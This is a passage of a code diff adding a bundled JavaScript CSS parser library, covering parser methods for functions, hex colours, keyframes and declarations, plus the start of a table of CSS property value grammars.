+                            while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
+                                tokenStream.get();
+                                functionText += tokenStream.token().value;
+                                lt = tokenStream.peek();
+                            }
+                        } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
+                    }
+
+                    //END: Horrible Hack
+
+                    tokenStream.match(Tokens.RPAREN);
+                    functionText += ")";
+                    this._readWhitespace();
+                }
+
+                return functionText;
+            },
+
+            _ie_function: function() {
+
+                /* (My own extension)
+                 * ie_function
+                 *   : IE_FUNCTION S* IDENT '=' term [S* ','? IDENT '=' term]+ ')' S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    functionText = null,
+                    lt;
+
+                //IE function can begin like a regular function, too
+                if (tokenStream.match([Tokens.IE_FUNCTION, Tokens.FUNCTION])) {
+                    functionText = tokenStream.token().value;
+
+                    do {
+
+                        if (this._readWhitespace()) {
+                            functionText += tokenStream.token().value;
+                        }
+
+                        //might be second time in the loop
+                        if (tokenStream.LA(0) === Tokens.COMMA) {
+                            functionText += tokenStream.token().value;
+                        }
+
+                        tokenStream.match(Tokens.IDENT);
+                        functionText += tokenStream.token().value;
+
+                        tokenStream.match(Tokens.EQUALS);
+                        functionText += tokenStream.token().value;
+
+                        //functionText += this._term();
+                        lt = tokenStream.peek();
+                        while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
+                            tokenStream.get();
+                            functionText += tokenStream.token().value;
+                            lt = tokenStream.peek();
+                        }
+                    } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
+
+                    tokenStream.match(Tokens.RPAREN);
+                    functionText += ")";
+                    this._readWhitespace();
+                }
+
+                return functionText;
+            },
+
+            _hexcolor: function() {
+                /*
+                 * There is a constraint on the color that it must
+                 * have either 3 or 6 hex-digits (i.e., [0-9a-fA-F])
+                 * after the "#"; e.g., "#000" is OK, but "#abcd" is not.
+                 *
+                 * hexcolor
+                 *   : HASH S*
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token = null,
+                    color;
+
+                if (tokenStream.match(Tokens.HASH)) {
+
+                    //need to do some validation here
+
+                    token = tokenStream.token();
+                    color = token.value;
+                    if (!/#[a-f0-9]{3,6}/i.test(color)) {
+                        throw new SyntaxError("Expected a hex color but found '" + color + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
+                    }
+                    this._readWhitespace();
+                }
+
+                return token;
+            },
+
+            //-----------------------------------------------------------------
+            // Animations methods
+            //-----------------------------------------------------------------
+
+            _keyframes: function() {
+
+                /*
+                 * keyframes:
+                 *   : KEYFRAMES_SYM S* keyframe_name S* '{' S* keyframe_rule* '}' {
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    token,
+                    tt,
+                    name,
+                    prefix = "";
+
+                tokenStream.mustMatch(Tokens.KEYFRAMES_SYM);
+                token = tokenStream.token();
+                if (/^@\-([^\-]+)\-/.test(token.value)) {
+                    prefix = RegExp.$1;
+                }
+
+                this._readWhitespace();
+                name = this._keyframe_name();
+
+                this._readWhitespace();
+                tokenStream.mustMatch(Tokens.LBRACE);
+
+                this.fire({
+                    type:   "startkeyframes",
+                    name:   name,
+                    prefix: prefix,
+                    line:   token.startLine,
+                    col:    token.startCol
+                });
+
+                this._readWhitespace();
+                tt = tokenStream.peek();
+
+                //check for key
+                while (tt === Tokens.IDENT || tt === Tokens.PERCENTAGE) {
+                    this._keyframe_rule();
+                    this._readWhitespace();
+                    tt = tokenStream.peek();
+                }
+
+                this.fire({
+                    type:   "endkeyframes",
+                    name:   name,
+                    prefix: prefix,
+                    line:   token.startLine,
+                    col:    token.startCol
+                });
+
+                this._readWhitespace();
+                tokenStream.mustMatch(Tokens.RBRACE);
+                this._readWhitespace();
+
+            },
+
+            _keyframe_name: function() {
+
+                /*
+                 * keyframe_name:
+                 *   : IDENT
+                 *   | STRING
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream;
+
+                tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
+                return SyntaxUnit.fromToken(tokenStream.token());
+            },
+
+            _keyframe_rule: function() {
+
+                /*
+                 * keyframe_rule:
+                 *   : key_list S*
+                 *     '{' S* declaration [ ';' S* declaration ]* '}' S*
+                 *   ;
+                 */
+                var keyList = this._key_list();
+
+                this.fire({
+                    type:   "startkeyframerule",
+                    keys:   keyList,
+                    line:   keyList[0].line,
+                    col:    keyList[0].col
+                });
+
+                this._readDeclarations(true);
+
+                this.fire({
+                    type:   "endkeyframerule",
+                    keys:   keyList,
+                    line:   keyList[0].line,
+                    col:    keyList[0].col
+                });
+
+            },
+
+            _key_list: function() {
+
+                /*
+                 * key_list:
+                 *   : key [ S* ',' S* key]*
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    keyList = [];
+
+                //must be least one key
+                keyList.push(this._key());
+
+                this._readWhitespace();
+
+                while (tokenStream.match(Tokens.COMMA)) {
+                    this._readWhitespace();
+                    keyList.push(this._key());
+                    this._readWhitespace();
+                }
+
+                return keyList;
+            },
+
+            _key: function() {
+                /*
+                 * There is a restriction that IDENT can be only "from" or "to".
+                 *
+                 * key
+                 *   : PERCENTAGE
+                 *   | IDENT
+                 *   ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    token;
+
+                if (tokenStream.match(Tokens.PERCENTAGE)) {
+                    return SyntaxUnit.fromToken(tokenStream.token());
+                } else if (tokenStream.match(Tokens.IDENT)) {
+                    token = tokenStream.token();
+
+                    if (/from|to/i.test(token.value)) {
+                        return SyntaxUnit.fromToken(token);
+                    }
+
+                    tokenStream.unget();
+                }
+
+                //if it gets here, there wasn't a valid token, so time to explode
+                this._unexpectedToken(tokenStream.LT(1));
+            },
+
+            //-----------------------------------------------------------------
+            // Helper methods
+            //-----------------------------------------------------------------
+
+            /**
+             * Not part of CSS grammar, but useful for skipping over
+             * combination of white space and HTML-style comments.
+             * @return {void}
+             * @method _skipCruft
+             * @private
+             */
+            _skipCruft: function() {
+                while (this._tokenStream.match([Tokens.S, Tokens.CDO, Tokens.CDC])) {
+                    //noop
+                }
+            },
+
+            /**
+             * Not part of CSS grammar, but this pattern occurs frequently
+             * in the official CSS grammar. Split out here to eliminate
+             * duplicate code.
+             * @param {Boolean} checkStart Indicates if the rule should check
+             *      for the left brace at the beginning.
+             * @param {Boolean} readMargins Indicates if the rule should check
+             *      for margin patterns.
+             * @return {void}
+             * @method _readDeclarations
+             * @private
+             */
+            _readDeclarations: function(checkStart, readMargins) {
+                /*
+                 * Reads the pattern
+                 * S* '{' S* declaration [ ';' S* declaration ]* '}' S*
+                 * or
+                 * S* '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
+                 * Note that this is how it is described in CSS3 Paged Media, but is actually incorrect.
+                 * A semicolon is only necessary following a declaration if there's another declaration
+                 * or margin afterwards.
+                 */
+                var tokenStream = this._tokenStream,
+                    tt;
+
+
+                this._readWhitespace();
+
+                if (checkStart) {
+                    tokenStream.mustMatch(Tokens.LBRACE);
+                }
+
+                this._readWhitespace();
+
+                try {
+
+                    while (true) {
+
+                        if (tokenStream.match(Tokens.SEMICOLON) || (readMargins && this._margin())) {
+                            //noop
+                        } else if (this._declaration()) {
+                            if (!tokenStream.match(Tokens.SEMICOLON)) {
+                                break;
+                            }
+                        } else {
+                            break;
+                        }
+
+                        //if ((!this._margin() && !this._declaration()) || !tokenStream.match(Tokens.SEMICOLON)){
+                        //    break;
+                        //}
+                        this._readWhitespace();
+                    }
+
+                    tokenStream.mustMatch(Tokens.RBRACE);
+                    this._readWhitespace();
+
+                } catch (ex) {
+                    if (ex instanceof SyntaxError && !this.options.strict) {
+
+                        //fire error event
+                        this.fire({
+                            type:       "error",
+                            error:      ex,
+                            message:    ex.message,
+                            line:       ex.line,
+                            col:        ex.col
+                        });
+
+                        //see if there's another declaration
+                        tt = tokenStream.advance([Tokens.SEMICOLON, Tokens.RBRACE]);
+                        if (tt === Tokens.SEMICOLON) {
+                            //if there's a semicolon, then there might be another declaration
+                            this._readDeclarations(false, readMargins);
+                        } else if (tt !== Tokens.RBRACE) {
+                            //if there's a right brace, the rule is finished so don't do anything
+                            //otherwise, rethrow the error because it wasn't handled properly
+                            throw ex;
+                        }
+
+                    } else {
+                        //not a syntax error, rethrow it
+                        throw ex;
+                    }
+                }
+
+            },
+
+            /**
+             * In some cases, you can end up with two white space tokens in a
+             * row. Instead of making a change in every function that looks for
+             * white space, this function is used to match as much white space
+             * as necessary.
+             * @method _readWhitespace
+             * @return {String} The white space if found, empty string if not.
+             * @private
+             */
+            _readWhitespace: function() {
+
+                var tokenStream = this._tokenStream,
+                    ws = "";
+
+                while (tokenStream.match(Tokens.S)) {
+                    ws += tokenStream.token().value;
+                }
+
+                return ws;
+            },
+
+
+            /**
+             * Throws an error when an unexpected token is found.
+             * @param {Object} token The token that was found.
+             * @method _unexpectedToken
+             * @return {void}
+             * @private
+             */
+            _unexpectedToken: function(token) {
+                throw new SyntaxError("Unexpected token '" + token.value + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
+            },
+
+            /**
+             * Helper method used for parsing subparts of a style sheet.
+             * @return {void}
+             * @method _verifyEnd
+             * @private
+             */
+            _verifyEnd: function() {
+                if (this._tokenStream.LA(1) !== Tokens.EOF) {
+                    this._unexpectedToken(this._tokenStream.LT(1));
+                }
+            },
+
+            //-----------------------------------------------------------------
+            // Validation methods
+            //-----------------------------------------------------------------
+            _validateProperty: function(property, value) {
+                Validation.validate(property, value);
+            },
+
+            //-----------------------------------------------------------------
+            // Parsing methods
+            //-----------------------------------------------------------------
+
+            parse: function(input) {
+                this._tokenStream = new TokenStream(input, Tokens);
+                this._stylesheet();
+            },
+
+            parseStyleSheet: function(input) {
+                //just passthrough
+                return this.parse(input);
+            },
+
+            parseMediaQuery: function(input) {
+                this._tokenStream = new TokenStream(input, Tokens);
+                var result = this._media_query();
+
+                //if there's anything more, then it's an invalid selector
+                this._verifyEnd();
+
+                //otherwise return result
+                return result;
+            },
+
+            /**
+             * Parses a property value (everything after the semicolon).
+             * @return {parserlib.css.PropertyValue} The property value.
+             * @throws parserlib.util.SyntaxError If an unexpected token is found.
+             * @method parserPropertyValue
+             */
+            parsePropertyValue: function(input) {
+
+                this._tokenStream = new TokenStream(input, Tokens);
+                this._readWhitespace();
+
+                var result = this._expr();
+
+                //okay to have a trailing white space
+                this._readWhitespace();
+
+                //if there's anything more, then it's an invalid selector
+                this._verifyEnd();
+
+                //otherwise return result
+                return result;
+            },
+
+            /**
+             * Parses a complete CSS rule, including selectors and
+             * properties.
+             * @param {String} input The text to parser.
+             * @return {Boolean} True if the parse completed successfully, false if not.
+             * @method parseRule
+             */
+            parseRule: function(input) {
+                this._tokenStream = new TokenStream(input, Tokens);
+
+                //skip any leading white space
+                this._readWhitespace();
+
+                var result = this._ruleset();
+
+                //skip any trailing white space
+                this._readWhitespace();
+
+                //if there's anything more, then it's an invalid selector
+                this._verifyEnd();
+
+                //otherwise return result
+                return result;
+            },
+
+            /**
+             * Parses a single CSS selector (no comma)
+             * @param {String} input The text to parse as a CSS selector.
+             * @return {Selector} An object representing the selector.
+             * @throws parserlib.util.SyntaxError If an unexpected token is found.
+             * @method parseSelector
+             */
+            parseSelector: function(input) {
+
+                this._tokenStream = new TokenStream(input, Tokens);
+
+                //skip any leading white space
+                this._readWhitespace();
+
+                var result = this._selector();
+
+                //skip any trailing white space
+                this._readWhitespace();
+
+                //if there's anything more, then it's an invalid selector
+                this._verifyEnd();
+
+                //otherwise return result
+                return result;
+            },
+
+            /**
+             * Parses an HTML style attribute: a set of CSS declarations
+             * separated by semicolons.
+             * @param {String} input The text to parse as a style attribute
+             * @return {void}
+             * @method parseStyleAttribute
+             */
+            parseStyleAttribute: function(input) {
+                input += "}"; // for error recovery in _readDeclarations()
+                this._tokenStream = new TokenStream(input, Tokens);
+                this._readDeclarations();
+            }
+        };
+
+    //copy over onto prototype
+    for (prop in additions) {
+        if (Object.prototype.hasOwnProperty.call(additions, prop)) {
+            proto[prop] = additions[prop];
+        }
+    }
+
+    return proto;
+}();
+
+
+/*
+nth
+  : S* [ ['-'|'+']? INTEGER? {N} [ S* ['-'|'+'] S* INTEGER ]? |
+         ['-'|'+']? INTEGER | {O}{D}{D} | {E}{V}{E}{N} ] S*
+  ;
+*/
+
+},{"../util/EventTarget":23,"../util/SyntaxError":25,"../util/SyntaxUnit":26,"./Combinator":2,"./MediaFeature":4,"./MediaQuery":5,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./TokenStream":17,"./Tokens":18,"./Validation":19}],7:[function(require,module,exports){
+"use strict";
+
+/* exported Properties */
+
+var Properties = module.exports = {
+    __proto__: null,
+
+    //A
+    "align-items"                   : "flex-start | flex-end | center | baseline | stretch",
+    "align-content"                 : "flex-start | flex-end | center | space-between | space-around | stretch",
+    "align-self"                    : "auto | flex-start | flex-end | center | baseline | stretch",
+    "all"                           : "initial | inherit | unset",
+    "-webkit-align-items"           : "flex-start | flex-end | center | baseline | stretch",
+    "-webkit-align-content"         : "flex-start | flex-end | center | space-between | space-around | stretch",
+    "-webkit-align-self"            : "auto | flex-start | flex-end | center | baseline | stretch",
+    "alignment-adjust"              : "auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>",
+    "alignment-baseline"            : "auto | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
+    "animation"                     : 1,
+    "animation-delay"               : "<time>#",
+    "animation-direction"           : "<single-animation-direction>#",
+    "animation-duration"            : "<time>#",
+    "animation-fill-mode"           : "[ none | forwards | backwards | both ]#",
+    "animation-iteration-count"     : "[ <number> | infinite ]#",
+    "animation-name"                : "[ none | <single-animation-name> ]#",
+    "animation-play-state"          : "[ running | paused ]#",
+    "animation-timing-function"     : 1,
+
+    //vendor prefixed
+    "-moz-animation-delay"               : "<time>#",
+    "-moz-animation-direction"           : "[ normal | alternate ]#",
+    "-moz-animation-duration"            : "<time>#",
+    "-moz-animation-iteration-count"     : "[ <number> | infinite ]#",
+    "-moz-animation-name"                : "[ none | <single-animation-name> ]#",
+    "-moz-animation-play-state"          : "[ running | paused ]#",
+
+    "-ms-animation-delay"               : "<time>#",
+    "-ms-animation-direction"           : "[ normal | alternate ]#",
+    "-ms-animation-duration"            : "<time>#",
+    "-ms-animation-iteration-count"     : "[ <number> | infinite ]#",
+    "-ms-animation-name"                : "[ none | <single-animation-name> ]#",
+    "-ms-animation-play-state"          : "[ running | paused ]#",
+
+    "-webkit-animation-delay"               : "<time>#",
+    "-webkit-animation-direction"           : "[ normal | alternate ]#",
+    "-webkit-animation-duration"            : "<time>#",
+    "-webkit-animation-fill-mode"           : "[ none | forwards | backwards | both ]#",
+    "-webkit-animation-iteration-count"     : "[ <number> | infinite ]#",
+    "-webkit-animation-name"                : "[ none | <single-animation-name> ]#",
+    "-webkit-animation-play-state"          : "[ running | paused ]#",
+
+    "-o-animation-delay"               : "<time>#",
+    "-o-animation-direction"           : "[ normal | alternate ]#",
+    "-o-animation-duration"            : "<time>#",
+    "-o-animation-iteration-count"     : "[ <number> | infinite ]#",
+    "-o-animation-name"                : "[ none | <single-animation-name> ]#",
+    "-o-animation-play-state"          : "[ running | paused ]#",
+
+    "appearance"                    : "none | auto",
+    "-moz-appearance"               : "none | button | button-arrow-down | button-arrow-next | button-arrow-previous | button-arrow-up | button-bevel | button-focus | caret | checkbox | checkbox-container | checkbox-label | checkmenuitem | dualbutton | groupbox | listbox | listitem | menuarrow | menubar | menucheckbox | menuimage | menuitem | menuitemtext | menulist | menulist-button | menulist-text | menulist-textfield | menupopup | menuradio | menuseparator | meterbar | meterchunk | progressbar | progressbar-vertical | progresschunk | progresschunk-vertical | radio | radio-container | radio-label | radiomenuitem | range | range-thumb | resizer | resizerpanel | scale-horizontal | scalethumbend | scalethumb-horizontal | scalethumbstart | scalethumbtick | scalethumb-vertical | scale-vertical | scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical | searchfield | separator | sheet | spinner | spinner-downbutton | spinner-textfield | spinner-upbutton | splitter | statusbar | statusbarpanel | tab | tabpanel | tabpanels | tab-scroll-arrow-back | tab-scroll-arrow-forward | textfield | textfield-multiline | toolbar | toolbarbutton | toolbarbutton-dropdown | toolbargripper | toolbox | tooltip | treeheader | treeheadercell | treeheadersortarrow | treeitem | treeline | treetwisty | treetwistyopen | treeview | -moz-mac-unified-toolbar | -moz-win-borderless-glass | -moz-win-browsertabbar-toolbox | -moz-win-communicationstext | -moz-win-communications-toolbox | -moz-win-exclude-glass | -moz-win-glass | -moz-win-mediatext | -moz-win-media-toolbox | -moz-window-button-box | -moz-window-button-box-maximized | -moz-window-button-close | -moz-window-button-maximize | -moz-window-button-minimize | -moz-window-button-restore | -moz-window-frame-bottom | -moz-window-frame-left | -moz-window-frame-right | -moz-window-titlebar | -moz-window-titlebar-maximized",
+    "-ms-appearance"                : "none | icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
+    "-webkit-appearance"            : "none | button | button-bevel | caps-lock-indicator | caret | checkbox | default-button | listbox	| listitem | media-fullscreen-button | media-mute-button | media-play-button | media-seek-back-button	| media-seek-forward-button	| media-slider | media-sliderthumb | menulist	| menulist-button	| menulist-text	| menulist-textfield | push-button	| radio	| searchfield	| searchfield-cancel-button	| searchfield-decoration | searchfield-results-button | searchfield-results-decoration | slider-horizontal | slider-vertical | sliderthumb-horizontal | sliderthumb-vertical	| square-button	| textarea	| textfield	| scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbargripper-horizontal | scrollbargripper-vertical | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical",
+    "-o-appearance"                 : "none | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
+
+    "azimuth"                       : "<azimuth>",
+
+    //B
+    "backface-visibility"           : "visible | hidden",
+    "background"                    : 1,
+    "background-attachment"         : "<attachment>#",
+    "background-clip"               : "<box>#",
+    "background-color"              : "<color>",
+    "background-image"              : "<bg-image>#",
+    "background-origin"             : "<box>#",
+    "background-position"           : "<bg-position>",
+    "background-repeat"             : "<repeat-style>#",
+    "background-size"               : "<bg-size>#",
+    "baseline-shift"                : "baseline | sub | super | <percentage> | <length>",
+    "behavior"                      : 1,
+    "binding"                       : 1,
+    "bleed"                         : "<length>",
+    "bookmark-label"                : "<content> | <attr> | <string>",
+    "bookmark-level"                : "none | <integer>",
+    "bookmark-state"                : "open | closed",
+    "bookmark-target"               : "none | <uri> | <attr>",
+    "border"                        : "<border-width> || <border-style> || <color>",
+    "border-bottom"                 : "<border-width> || <border-style> || <color>",
+    "border-bottom-color"           : "<color>",
+    "border-bottom-left-radius"     :  "<x-one-radius>",
+    "border-bottom-right-radius"    :  "<x-one-radius>",
+    "border-bottom-style"           : "<border-style>",
+    "border-bottom-width"           : "<border-width>",
+    "border-collapse"               : "collapse | separate",
+    "border-color"                  : "<color>{1,4}",
+    "border-image"                  : 1,
+    "border-image-outset"           : "[ <length> | <number> ]{1,4}",
+    "border-image-repeat"           : "[ stretch | repeat | round ]{1,2}",
+    "border-image-slice"            : "<border-image-slice>",
+    "border-image-source"           : "<image> | none",
+    "border-image-width"            : "[ <length> | <percentage> | <number> | auto ]{1,4}",
+    "border-left"                   : "<border-width> || <border-style> || <color>",
+    "border-left-color"             : "<color>",
+    "border-left-style"             : "<border-style>",
+    "border-left-width"             : "<border-width>",
+    "border-radius"                 : "<border-radius>",
+    "border-right"                  : "<border-width> || <border-style> || <color>",
+    "border-right-color"            : "<color>",
+    "border-right-style"            : "<border-style>",
+    "border-right-width"            : "<border-width>",
+    "border-spacing"                : "<length>{1,2}",
+    "border-style"                  : "<border-style>{1,4}",
+    "border-top"                    : "<border-width> || <border-style> || <color>",
+    "border-top-color"              : "<color>",
+    "border-top-left-radius"        : "<x-one-radius>",
+    "border-top-right-radius"       : "<x-one-radius>",
+    "border-top-style"              : "<border-style>",
+    "border-top-width"              : "<border-width>",
+    "border-width"                  : "<border-width>{1,4}",
+    "bottom"                        : "<margin-width>",
+    "-moz-box-align"                : "start | end | center | baseline | stretch",
+    "-moz-box-decoration-break"     : "slice | clone",
+    "-moz-box-direction"            : "normal | reverse",
+    "-moz-box-flex"                 : "<number>",
+    "-moz-box-flex-group"           : "<integer>",
+    "-moz-box-lines"                : "single | multiple",
+    "-moz-box-ordinal-group"        : "<integer>",
+    "-moz-box-orient"               : "horizontal | vertical | inline-axis | block-axis",
+    "-moz-box-pack"                 : "start | end | center | justify",
+    "-o-box-decoration-break"       : "slice | clone",
+    "-webkit-box-align"             : "start | end | center | baseline | stretch",
+    "-webkit-box-decoration-break"  : "slice | clone",
+    "-webkit-box-direction"         : "normal | reverse",
+    "-webkit-box-flex"              : "<number>",
+    "-webkit-box-flex-group"        : "<integer>",
+    "-webkit-box-lines"             : "single | multiple",
+    "-webkit-box-ordinal-group"     : "<integer>",
+    "-webkit-box-orient"            : "horizontal | vertical | inline-axis | block-axis",
+    "-webkit-box-pack"              : "start | end | center | justify",
+    "box-decoration-break"          : "slice | clone",
+    "box-shadow"                    : "<box-shadow>",
+    "box-sizing"                    : "content-box | border-box",
+    "break-after"                   : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
+    "break-before"                  : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
+    "break-inside"                  : "auto | avoid | avoid-page | avoid-column",
+
+    //C
+    "caption-side"                  : "top | bottom",
+    "clear"                         : "none | right | left | both",
+    "clip"                          : "<shape> | auto",
+    "-webkit-clip-path"             : "<clip-source> | <clip-path> | none",
+    "clip-path"                     : "<clip-source> | <clip-path> | none",
+    "clip-rule"                     : "nonzero | evenodd",
+    "color"                         : "<color>",
+    "color-interpolation"           : "auto | sRGB | linearRGB",
+    "color-interpolation-filters"   : "auto | sRGB | linearRGB",
+    "color-profile"                 : 1,
+    "color-rendering"               : "auto | optimizeSpeed | optimizeQuality",
+    "column-count"                  : "<integer> | auto",                      //https://www.w3.org/TR/css3-multicol/
+    "column-fill"                   : "auto | balance",
+    "column-gap"                    : "<length> | normal",
+    "column-rule"                   : "<border-width> || <border-style> || <color>",
+    "column-rule-color"             : "<color>",
+    "column-rule-style"             : "<border-style>",
+    "column-rule-width"             : "<border-width>",
+    "column-span"                   : "none | all",
+    "column-width"                  : "<length> | auto",
+    "columns"                       : 1,
+    "content"                       : 1,
+    "counter-increment"             : 1,
+    "counter-reset"                 : 1,
+    "crop"                          : "<shape> | auto",
+    "cue"                           : "cue-after | cue-before",
+    "cue-after"                     : 1,
+    "cue-before"                    : 1,
+    "cursor"                        : 1,
+
+    //D
+    "direction"                     : "ltr | rtl",
+    "display"                       : "inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | run-in | ruby | ruby-base | ruby-text | ruby-base-container | ruby-text-container | contents | none | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex",
+    "dominant-baseline"             : "auto | use-script | no-change | reset-size | ideographic | alphabetic | hanging | mathematical | central | middle | text-after-edge | text-before-edge",
+    "drop-initial-after-adjust"     : "central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>",
+    "drop-initial-after-align"      : "baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
+    "drop-initial-before-adjust"    : "before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>",
+    "drop-initial-before-align"     : "caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
+    "drop-initial-size"             : "auto | line | <length> | <percentage>",
+    "drop-initial-value"            : "<integer>",
+
+    //E
+    "elevation"                     : "<angle> | below | level | above | higher | lower",
+    "empty-cells"                   : "show | hide",
+    "enable-background"             : 1,
+
+    //F
+    "fill"                          : "<paint>",
+    "fill-opacity"                  : "<opacity-value>",
+    "fill-rule"                     : "nonzero | evenodd",
+    "filter"                        : "<filter-function-list> | none",
+    "fit"                           : "fill | hidden | meet | slice",
+    "fit-position"                  : 1,
+    "flex"                          : "<flex>",
+    "flex-basis"                    : "<width>",
+    "flex-direction"                : "row | row-reverse | column | column-reverse",
+    "flex-flow"                     : "<flex-direction> || <flex-wrap>",
+    "flex-grow"                     : "<number>",
+    "flex-shrink"                   : "<number>",
+    "flex-wrap"                     : "nowrap | wrap | wrap-reverse",
+    "-webkit-flex"                  : "<flex>",
+    "-webkit-flex-basis"            : "<width>",
+    "-webkit-flex-direction"        : "row | row-reverse | column | column-reverse",
+    "-webkit-flex-flow"             : "<flex-direction> || <flex-wrap>",
+    "-webkit-flex-grow"             : "<number>",
+    "-webkit-flex-shrink"           : "<number>",
+    "-webkit-flex-wrap"             : "nowrap | wrap | wrap-reverse",
+    "-ms-flex"                      : "<flex>",
+    "-ms-flex-align"                : "start | end | center | stretch | baseline",
+    "-ms-flex-direction"            : "row | row-reverse | column | column-reverse",
+    "-ms-flex-order"                : "<number>",
+    "-ms-flex-pack"                 : "start | end | center | justify",
+    "-ms-flex-wrap"                 : "nowrap | wrap | wrap-reverse",
+    "float"                         : "left | right | none",
+    "float-offset"                  : 1,
+    "flood-color"                   : 1,
+    "flood-opacity"                 : "<opacity-value>",
+    "font"                          : "<font-shorthand> | caption | icon | menu | message-box | small-caption | status-bar",
+    "font-family"                   : "<font-family>",
+    "font-feature-settings"         : "<feature-tag-value> | normal",
+    "font-kerning"                  : "auto | normal | none",
+    "font-size"                     : "<font-size>",
+    "font-size-adjust"              : "<number> | none",
+    "font-stretch"                  : "<font-stretch>",
+    "font-style"                    : "<font-style>",
+    "font-variant"                  : "<font-variant> | normal | none",
+    "font-variant-alternates"       : "<font-variant-alternates> | normal",
+    "font-variant-caps"             : "<font-variant-caps> | normal",
+    "font-variant-east-asian"       : "<font-variant-east-asian> | normal",
+    "font-variant-ligatures"        : "<font-variant-ligatures> | normal | none",
+    "font-variant-numeric"          : "<font-variant-numeric> | normal",
+    "font-variant-position"         : "normal | sub | super",
+    "font-weight"                   : "<font-weight>",
+
+    //G
+    "glyph-orientation-horizontal"  : "<glyph-angle>",
+    "glyph-orientation-vertical"    : "auto | <glyph-angle>",
+    "grid"                          : 1,
+    "grid-area"                     : 1,
+    "grid-auto-columns"             : 1,
+    "grid-auto-flow"                : 1,
+    "grid-auto-position"            : 1,
+    "grid-auto-rows"                : 1,
+    "grid-cell-stacking"            : "columns | rows | layer",
+    "grid-column"                   : 1,
+    "grid-columns"                  : 1,
+    "grid-column-align"             : "start | end | center | stretch",
+    "grid-column-sizing"            : 1,
+    "grid-column-start"             : 1,
+    "grid-column-end"               : 1,
+    "grid-column-span"              : "<integer>",
+    "grid-flow"                     : "none | rows | columns",
+    "grid-layer"                    : "<integer>",
+    "grid-row"                      : 1,
+    "grid-rows"                     : 1,
+    "grid-row-align"                : "start | end | center | stretch",
+    "grid-row-start"                : 1,
+    "grid-row-end"                  : 1,
+    "grid-row-span"                 : "<integer>",
+    "grid-row-sizing"               : 1,
+    "grid-template"                 : 1,
+    "grid-template-areas"           : 1,
+    "grid-template-columns"         : 1,
+    "grid-template-rows"            : 1,
+
+    //H
+    "hanging-punctuation"           : 1,
+    "height"                        : "<margin-width> | <content-sizing>",
+    "hyphenate-after"               : "<integer> | auto",
+    "hyphenate-before"              : "<integer> | auto",
+    "hyphenate-character"           : "<string> | auto",
+    "hyphenate-lines"               : "no-limit | <integer>",
+    "hyphenate-resource"            : 1,
+    "hyphens"                       : "none | manual | auto",
+
+    //I
+    "icon"                          : 1,
+    "image-orientation"             : "angle | auto",
+    "image-rendering"               : "auto | optimizeSpeed | optimizeQuality",
+    "image-resolution"              : 1,
+    "ime-mode"                      : "auto | normal | active | inactive | disabled",
+    "inline-box-align"              : "last | <integer>",
+
+    //J
+    "justify-content"               : "flex-start | flex-end | center | space-between | space-around",
+    "-webkit-justify-content"       : "flex-start | flex-end | center | space-between | space-around",
+
+    //K
+    "kerning"                       : "auto | <length>",
+
+    //L
+    "left"                          : "<margin-width>",
+    "letter-spacing"                : "<length> | normal",
+    "line-height"                   : "<line-height>",
+    "line-break"                    : "auto | loose | normal | strict",
+    "line-stacking"                 : 1,
+    "line-stacking-ruby"            : "exclude-ruby | include-ruby",
+    "line-stacking-shift"           : "consider-shifts | disregard-shifts",
+    "line-stacking-strategy"        : "inline-line-height | block-line-height | max-height | grid-height",
+    "list-style"                    : 1,
+    "list-style-image"              : "<uri> | none",
+    "list-style-position"           : "inside | outside",
